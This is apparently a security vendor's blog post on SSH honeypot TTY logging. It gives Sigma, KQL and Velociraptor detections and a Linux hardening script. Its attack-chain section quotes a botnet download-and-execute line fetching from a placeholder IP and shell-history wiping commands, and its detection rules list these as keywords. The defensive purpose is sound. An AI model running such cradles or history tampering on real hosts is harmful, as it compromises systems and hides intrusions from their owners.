Back to Intelligence

TTY Log Forensics: Turning Honeypot Attacker Keystrokes Into Production SSH Defense

SA
Security Arsenal Team
October 4, 2026
11 min read

The Internet Storm Center's DShield honeypot network has quietly built one of the most valuable defensive telemetry pipelines in community threat intelligence: capturing and parsing TTY logs — the raw terminal input/output — from attackers and bots that successfully authenticate to exposed SSH sensors, then shipping that data daily into the DShield SIEM for correlation. The value here isn't theoretical. TTY logs show you, keystroke by keystroke, what a human operator or automated bot actually does in the first 60 seconds after gaining a shell: reconnaissance commands, download cradles, persistence attempts, and lateral movement prep.

If you run internet-facing SSH — and most organizations do, whether intentionally or via forgotten jump boxes, cloud instances, and vendor-managed appliances — this same activity is happening against your infrastructure right now. SSH brute-forcing and credential-stuffing against port 22 remains one of the highest-volume attack vectors we see across client environments in 2026, and the post-login behavior patterns are remarkably consistent because so much of it is automated. The defensive lesson from the DShield experiment is one every blue team should internalize: the terminal session itself is a forensic goldmine, and most organizations aren't capturing it.

This post breaks down what TTY logging captures, the post-compromise command patterns defenders should expect, and how to build detection and collection capabilities on your own Linux estate.

Technical Analysis

What TTY Logs Capture and Why It Matters

A TTY log records the input and output of a terminal session. On Linux, this can be collected through several mechanisms:

  • pam_tty_audit — a PAM module that logs keystrokes for specified users (or all users) into the audit subsystem
  • auditd with TTY auditing rules — capturing execve syscalls alongside session context
  • script(1) / session recording wrappers — forcing interactive sessions through a recorder
  • eBPF-based observability agents — modern approaches that capture exec and session data at the kernel level

The DShield approach parses these logs and correlates them with SIEM data, which is exactly the right architecture: TTY logs alone are noise, but TTY logs joined against authentication logs (source IP, credential used, auth method) become a behavioral timeline of the intrusion.

The Attack Chain We See in Honeypot Telemetry

Based on the consistent patterns observed in DShield-style sensor data and in real incident response engagements involving compromised Linux hosts, the post-authentication sequence almost always follows this shape:

  1. Initial access — password guessing, credential stuffing, or leaked/default credentials against SSH. Bots cycle through username/password dictionaries (root/root, admin/admin, oracle/oracle, IoT defaults).
  2. Environment reconnaissance — uname -a, cat /proc/cpuinfo, lscpu, free -m, whoami, id, nproc. Attackers fingerprint architecture (x86 vs ARM vs MIPS) to select the right payload binary.
  3. Payload retrieval — wget, curl, tftp, or base64-blob transfers pulling second-stage binaries from hosting infrastructure. Commands like cd /tmp; wget http://<IP>/bot.sh; chmod +x bot.sh; ./bot.sh are classic botnet enrollment (Mirai-lineage families and their descendants still dominate this space).
  4. Execution and cleanup — binaries dropped into /tmp, /dev/shm, or /var/run; execution; then rm -f of artifacts and history tampering (history -c, unset HISTFILE, rm ~/.bash_history).
  5. Persistence and scanning — cron entries, authorized_keys injection, and outbound scanning to propagate to the next victim.

Why This Is a Production Problem, Not Just a Honeypot Curiosity

The bots hitting DShield sensors don't discriminate. The same automated infrastructure sprays the entire IPv4 space. If your SSH is reachable, it is being tested — typically within minutes of exposure. The DShield SIEM correlation exists precisely because individual login events look unremarkable in isolation; it's the post-login command sequence that reveals intent. Your detection strategy must do the same.

Exploitation status: This is not a single-CVE story — it is an ongoing, high-volume, actively exploited attack surface. SSH password attacks and post-login botnet enrollment are continuously observed in the wild. There is no patch for this; the defense is architectural: minimize exposure, eliminate password authentication, and instrument session telemetry.

Detection & Response

The detections below target the post-authentication behaviors described above. They are tuned for Linux estates using auditd/Sysmon-for-Linux telemetry forwarded to your SIEM.

YAML
---
title: Linux Post-SSH-Login Download Cradle Execution
id: 3f8c2a91-7b44-4e1d-9c62-a1b5d8e4f210
status: experimental
description: Detects chained download-and-execute commands typical of botnet enrollment and malware staging observed in SSH honeypot TTY logs after successful login.
references:
  - https://isc.sans.edu/diary/rss/33396
  - https://attack.mitre.org/techniques/T1105/
  - https://attack.mitre.org/techniques/T1059/004/
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.command_and_control
  - attack.t1105
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains:
      - 'wget http'
      - 'curl http'
      - 'curl -O '
      - 'wget -q '
  chaining:
    CommandLine|contains:
      - 'chmod +x'
      - 'chmod 777'
      - 'chmod 755'
  tmp_paths:
    CommandLine|contains:
      - '/tmp/'
      - '/dev/shm/'
      - '/var/run/'
  condition: selection and (chaining or tmp_paths)
falsepositives:
  - Legitimate software deployment scripts in /tmp during provisioning
  - Configuration management tools (Ansible, Chef) pulling scripts
level: high
---
title: Linux Shell History Tampering After Interactive Login
id: 91d4e7b2-3c58-4f0a-b6d1-2e8a9f5c7341
status: experimental
description: Detects attempts to clear or disable shell command history, a common anti-forensics behavior observed in attacker TTY sessions on compromised Linux hosts.
references:
  - https://isc.sans.edu/diary/rss/33396
  - https://attack.mitre.org/techniques/T1070/003/
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.defense_evasion
  - attack.t1070.003
logsource:
  category: process_creation
  product: linux
detection:
  selection_clear:
    CommandLine|contains:
      - 'history -c'
      - 'history -cw'
  selection_unset:
    CommandLine|contains:
      - 'unset HISTFILE'
      - 'export HISTFILE=/dev/null'
      - 'HISTFILESIZE=0'
      - 'HISTSIZE=0'
  selection_delete:
    CommandLine|contains:
      - '.bash_history'
      - '.zsh_history'
  condition: selection_clear or selection_unset or selection_delete
falsepositives:
  - Privacy-conscious administrators (rare; investigate context)
  - Some CI/CD cleanup scripts
level: medium
---
title: Rapid Reconnaissance Command Burst in Linux Session
id: b6a1d4e8-2f97-4c35-8d0a-5e3b7c9f8216
status: experimental
description: Detects the classic environment-fingerprinting command sequence (uname, cpuinfo, whoami) seen in the first seconds of automated and manual attacker SSH sessions in honeypot TTY logs. Tune thresholds to your environment.
references:
  - https://isc.sans.edu/diary/rss/33396
  - https://attack.mitre.org/techniques/T1033/
  - https://attack.mitre.org/techniques/T1082/
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.discovery
  - attack.t1033
  - attack.t1082
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains:
      - 'uname -a'
      - 'cat /proc/cpuinfo'
      - 'cat /etc/issue'
      - 'lscpu'
      - 'nproc'
  condition: selection
falsepositives:
  - Monitoring agents and inventory tools (filter by parent process and service accounts)
  - Legitimate admin troubleshooting — correlate with unusual source IPs and non-standard hours
level: low
KQL — Microsoft Sentinel / Defender
// Hunt for post-SSH-login download cradles and history tampering in Syslog data
// Assumes Linux auth.log/auditd forwarded to Sentinel via Syslog/CEF connector
let Lookback = 7d;
let SuspiciousCmds = dynamic(["wget http", "curl http", "curl -O", "chmod +x", "history -c", "unset HISTFILE", ".bash_history", "uname -a", "cat /proc/cpuinfo"]);
Syslog
| where TimeGenerated > ago(Lookback)
| where Facility in ("auth", "authpriv", "local0", "user") or ProcessName in ("sshd", "sudo", "bash", "sh", "auditd")
| extend SyslogMsg = tostring(SyslogMessage)
| where SyslogMsg has_any (SuspiciousCmds)
| extend MatchedCmd = extract(@"(wget http[^\s]*|curl http[^\s]*|curl -O|chmod \+x|history -c|unset HISTFILE|uname -a|cat /proc/cpuinfo)", 0, SyslogMsg)
| summarize CommandCount = count(), Commands = make_set(MatchedCmd), Hosts = make_set(Computer) by Computer, ProcessName, bin(TimeGenerated, 5m)
| where CommandCount >= 2
| sort by TimeGenerated desc;

// Correlate successful SSH logins with subsequent suspicious activity window
let Lookback = 7d;
Syslog
| where TimeGenerated > ago(Lookback)
| where ProcessName == "sshd"
| where SyslogMessage has "Accepted password" or SyslogMessage has "Accepted publickey"
| extend SrcIP = extract(@"from ([0-9\.]+)", 1, tostring(SyslogMessage))
| extend AuthUser = extract(@"for (?:invalid user )?([a-zA-Z0-9_\-\.]+) from", 1, tostring(SyslogMessage))
| summarize LoginCount = count(), SourceIPs = make_set(SrcIP), Users = make_set(AuthUser) by Computer, bin(TimeGenerated, 1h)
| where LoginCount > 0
| join kind=leftouter (
    Syslog
    | where TimeGenerated > ago(Lookback)
    | where SyslogMessage has_any ("wget", "curl", "chmod", "history -c", "/dev/shm")
    | summarize SuspiciousActivity = count() by Computer, bin(TimeGenerated, 1h)
) on Computer, TimeGenerated
| where SuspiciousActivity > 0
| project TimeGenerated, Computer, LoginCount, SourceIPs, Users, SuspiciousActivity
| sort by SuspiciousActivity desc;
VQL — Velociraptor
-- Hunt for post-login staging artifacts and history tampering on Linux endpoints
-- Deploy via Velociraptor hunt across Linux fleet

-- Artifact 1: Executable files recently dropped into common staging directories
SELECT FullPath, Size, Mtime, Ctime,
       Mode
FROM glob(globs=['/tmp/*', '/dev/shm/*', '/var/run/*', '/var/tmp/*'])
WHERE Mode =~ 'x'
  AND Mtime > now() - 604800
ORDER BY Mtime DESC

-- Artifact 2: Truncated or recently deleted shell histories (anti-forensics indicator)
SELECT FullPath, Size, Mtime
FROM glob(globs=['/root/.bash_history', '/home/*/.bash_history', '/home/*/.zsh_history'])
WHERE Size < 100 OR Mtime > now() - 86400

-- Artifact 3: Processes spawned from staging directories (live execution check)
SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE Exe =~ '/tmp/|/dev/shm/|/var/run/'
   OR CommandLine =~ 'wget http|curl http|/dev/shm/'

-- Artifact 4: Newly added SSH authorized_keys (persistence check)
SELECT FullPath, Size, Mtime
FROM glob(globs=['/root/.ssh/authorized_keys', '/home/*/.ssh/authorized_keys'])
WHERE Mtime > now() - 604800
Bash / Shell
#!/bin/bash
# Security Arsenal - Linux SSH Post-Compromise Visibility & Hardening Script
# Purpose: Enable TTY auditing, forward auth telemetry, and verify SSH hardening
# Tested on: RHEL 8/9, Ubuntu 20.04/22.04/24.04 (adjust paths as needed)
# Run as root. Review before deploying to production.

set -euo pipefail
echo "=== [1/6] Enabling pam_tty_audit for all users ==="
# TTY keystroke auditing via PAM - captures interactive session input into auditd
if [ -f /etc/pam.d/system-auth ]; then  # RHEL-family
    grep -q pam_tty_audit /etc/pam.d/system-auth || \
      sed -i '/pam_unix.so/a session required pam_tty_audit.so enable=*' /etc/pam.d/password-auth /etc/pam.d/system-auth
fi
if [ -f /etc/pam.d/common-session ]; then  # Debian-family
    grep -q pam_tty_audit /etc/pam.d/common-session || \
      echo "session required pam_tty_audit.so enable=*" >> /etc/pam.d/common-session
fi

echo "=== [2/6] Installing/starting auditd ==="
if command -v apt-get >/dev/null; then
    apt-get update -qq && apt-get install -y auditd audispd-plugins
elif command -v dnf >/dev/null; then
    dnf install -y audit audit-libs
fi
systemctl enable --now auditd

echo "=== [3/6] Adding audit rules for execve, staging dirs, and history tampering ==="
cat > /etc/audit/rules.d/90-post-exploitation.rules <<'EOF'
# Log all execve calls (process execution)
-a always,exit -F arch=b64 -S execve -k proc_exec
-a always,exit -F arch=b32 -S execve -k proc_exec
# Watch common malware staging directories
-w /tmp -p wa -k staging_tmp
-w /dev/shm -p wa -k staging_devshm
-w /var/tmp -p wa -k staging_vartmp
# Watch shell history and SSH key files
-w /root/.bash_history -p wa -k history_tamper
-w /root/.ssh/authorized_keys -p wa -k ssh_persistence
EOF
augenrules --load && systemctl restart auditd

echo "=== [4/6] Verifying SSH hardening baseline ==="
SSHD_CFG=/etc/ssh/sshd_config
echo "-- PasswordAuthentication: $(sshd -T 2>/dev/null | grep -i passwordauthentication || echo 'CHECK MANUALLY')"
echo "-- PermitRootLogin:        $(sshd -T 2>/dev/null | grep -i permitrootlogin || echo 'CHECK MANUALLY')"
# Enforce key-only auth and disable direct root login (uncomment after confirming key access works)
# sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' $SSHD_CFG
# sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' $SSHD_CFG
# systemctl reload sshd

echo "=== [5/6] Verifying log forwarding (Syslog -> SIEM) ==="
if systemctl is-active --quiet rsyslog; then
    echo "rsyslog active. Confirm remote forwarding stanza exists:"
    grep -rE '^[^#]*(@@?|\*\.\*)' /etc/rsyslog.conf /etc/rsyslog.d/ 2>/dev/null || \
      echo "WARNING: No remote syslog forwarding configured - auth.log and audit logs stay local!"
else
    echo "WARNING: rsyslog not running"
fi

echo "=== [6/6] Quick exposure check ==="
echo "Listening SSH sockets:"
ss -tlnp | grep -E ':22\b' || echo "No SSH on port 22 (verify alternate ports)"
echo ""
echo "DONE. Validate: run 'aureport -tty' and 'ausearch -k proc_exec' after next login session."

Remediation

This is a hardening-and-visibility problem rather than a patch problem. There is no CVE to remediate — the remediation is eliminating the attack surface and instrumenting what remains:

  1. Kill password authentication on all internet-facing SSH. Enforce PasswordAuthentication no, PermitRootLogin no, and KbdInteractiveAuthentication no. Where possible, front SSH with a VPN, ZTNA broker, or sshd's AllowUsers/source-IP restrictions. Bots can't brute-force what they can't reach or can't authenticate to with passwords.
  2. Deploy TTY/exec auditing now. pam_tty_audit plus auditd execve rules (script above) gives you the same visibility DShield has on its sensors. Forward audit and auth logs to your SIEM — local-only logs are destroyed by the first competent intruder.
  3. Alert on the behavioral chain, not single events. A lone wget is noise; Accepted password for a rarely-used account followed by reconnaissance commands and a /dev/shm execution within five minutes is a high-fidelity intrusion signal. Build correlation rules like the KQL join above.
  4. Restrict egress from servers. Most post-login botnet enrollment fails entirely if the host can't make arbitrary outbound HTTP connections to pull second stages. Default-deny egress with allowlists is one of the highest-ROI controls for Linux server segments.
  5. Watch the staging directories. /tmp, /dev/shm, /var/tmp, and /var/run are where this class of attacker lives. Consider mounting /tmp and /dev/shm with noexec where application requirements permit.
  6. Rotate and audit SSH authorized_keys on a schedule. Unexpected key additions are the persistence mechanism of choice after shell access.

For further reading on the collection methodology, see the original ISC diary entry: https://isc.sans.edu/diary/rss/33396 and the DShield project at https://www.dshield.org/.

Related Resources

Security Arsenal Managed SOC Services AlertMonitor Platform Book a SOC Assessment soc-mdr Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.